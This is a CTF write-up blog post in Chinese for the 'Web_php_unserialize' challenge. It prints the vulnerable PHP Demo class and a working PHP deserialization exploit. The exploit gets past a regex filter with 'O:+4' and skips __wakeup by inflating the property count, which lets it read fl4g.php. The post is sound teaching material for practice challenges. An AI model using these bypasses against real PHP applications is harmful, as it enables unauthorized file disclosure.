Web_php_unserialize

最新推荐文章于 2026-03-01 22:01:30 发布

原创最新推荐文章于 2026-03-01 22:01:30 发布 · 192 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

ctf练习题

博客记录了首次遇到反序列化题目的处理过程。审计后要对Demo类序列化、base64加密并get传参。介绍了Demo类的构造、析构和魔术方法，还说明了绕过__wakeup方法的方式，如成员属性数目大于实际数目、用+号正则匹配绕过，以及替换字符绕过正则表达式。

反序列化

第一次遇到返序列化的题目，记录一下。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) {                    
        $this->file = $file; //构造函数，对类的变量进行初始化  
    }
      //魔术方法，如果有反序列化的使用，在反序列化之前会先调用这个方法
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    //魔术方法，如果有反序列化的使用，在反序列化之前会先调用这个方法
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

审计完成，思维清晰，要对Demo类进行序列化，base64加密，赋值给var变量进行get传参

在类Demo中有三个方法，一个构造，一个析构，还有就是一个魔术方法，构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct()，在对象所在函数执行完成之后，会自动调用，这里就会高亮显示出文件。

在反序列化执行之前，会先执行__wakeup这个魔术方法，所以需要绕过，当成员属性数目大于实际数目时可绕过wakeup方法，正则匹配可以用+号来进行绕过。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $b = serialize($A);
         //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
    $b = str_replace(':1:', ':2:',$b);//绕过wakeup
　　 //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    echo (base64_encode($b));　　
 ?>